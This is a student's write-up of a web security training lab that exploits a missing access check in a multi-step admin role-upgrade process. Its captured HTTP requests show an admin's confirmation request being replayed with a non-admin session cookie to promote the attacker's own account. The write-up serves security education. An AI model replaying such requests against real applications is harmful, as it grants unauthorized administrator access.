

Access Control Vulnerabilities And Privilege Escalation Lab – 12

Multi-step process with no access control on one step

M.Gobi Shankar
CB.SC.P2CYS23019

Exploit The Flawed Access Controls To Promote Yourself To Become An Administrator.

Log in using the admin credentials.



Multi-step process with no access control on one step

[Back to lab description >>](#)

LAB Not solved

[Home](#) | [Admin panel](#) | [My account](#) | [Log out](#)

My Account

Your username is: administrator

Email

administrator

Update email

Browse to the admin panel, promote carlos, and send the confirmation HTTP request to Burp Repeater.

Send Cancel < >

Target: https://0ae300530365331d8489fe6b006600d2.web-security-academy.net

Request
Pretty Raw Hex

```
1 POST /admin-roles HTTP/2
2 Host: 0ae300530365331d8489fe6b006600d2.web-security-academy.net
3 Cookie: session=2c4oiY2KNKU5u6HyLQpnF1D1VK8AtGg
4 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
6 Accept-Language: en-US,en;q=0.5
7 Accept-Encoding: gzip, deflate
8 Content-Type: application/x-www-form-urlencoded
9 Content-Length: 45
10 Origin: https://0ae300530365331d8489fe6b006600d2.web-security-academy.net
11 Referer: https://0ae300530365331d8489fe6b006600d2.web-security-academy.net/admin-roles
12 Upgrade-Insecure-Requests: 1
13 Sec-Fetch-Dest: document
14 Sec-Fetch-Mode: navigate
15 Sec-Fetch-Site: same-origin
16 Sec-Fetch-User: 71
17 Te: trailers
18
19 action=upgrade&confirmed=true&username=carlos
```

Response
Pretty Raw Hex Render

Logout from admin account, and log in with the non-admin credentials.



My Account

Your username is: wiener

Email

administrator

Update email

Copy the non-admin user's session cookie into the existing Repeater request, change the username to yours, and replay it.

Request

Pretty Raw Hex

```
1 GET /my-account?id=wiener HTTP/2
2 Host: 0ae300530365331d8489fe6b006600d2.web-security-academy.net
3 Cookie: session=h2rq0wKduk9a41ljoYPHk4cZWZE19mYD
4 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
6 Accept-Language: en-US,en;q=0.5
7 Accept-Encoding: gzip, deflate
8 Referer: https://0ae300530365331d8489fe6b006600d2.web-security-academy.net/login
9 Upgrade-Insecure-Requests: 1
10 Sec-Fetch-Dest: document
11 Sec-Fetch-Mode: navigate
12 Sec-Fetch-Site: same-origin
13 Sec-Fetch-User: ?1
14 Te: trailers
15
16
```

Request

Pretty Raw Hex

```
1 POST /admin-roles HTTP/2
2 Host: 0ae300530365331d8489fe6b006600d2.web-security-academy.net
3 Cookie: session=h2rq0wKduk9a41ljoYPHk4cZWZE19mYD
4 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
6 Accept-Language: en-US,en;q=0.5
7 Accept-Encoding: gzip, deflate
8 Content-Type: application/x-www-form-urlencoded
9 Content-Length: 45
10 Origin: https://0ae300530365331d8489fe6b006600d2.web-security-academy.net
11 Referer: https://0ae300530365331d8489fe6b006600d2.web-security-academy.net/admin-roles
12 Upgrade-Insecure-Requests: 1
13 Sec-Fetch-Dest: document
14 Sec-Fetch-Mode: navigate
15 Sec-Fetch-Site: same-origin
16 Sec-Fetch-User: ?1
17 Te: trailers
18
19 action=upgrade&confirmed=true&username=wiener
```

Response

Pretty Raw Hex Render


```
1 HTTP/2 302 Found
2 Location: /admin
3 X-Frame-Options: SAMEORIGIN
4 Content-Length: 0
5
6
```

Lab Completed Successfully.



Multi-step process with no access control on one step

[Back to lab description >>](#)

LAB Solved 

Congratulations, you solved the lab!

Share your skills!



[Continue learning >>](#)

[Home](#) | [Admin panel](#) | [My account](#) | [Log out](#)

My Account

Your username is: wiener

Email

administrator

[Update email](#)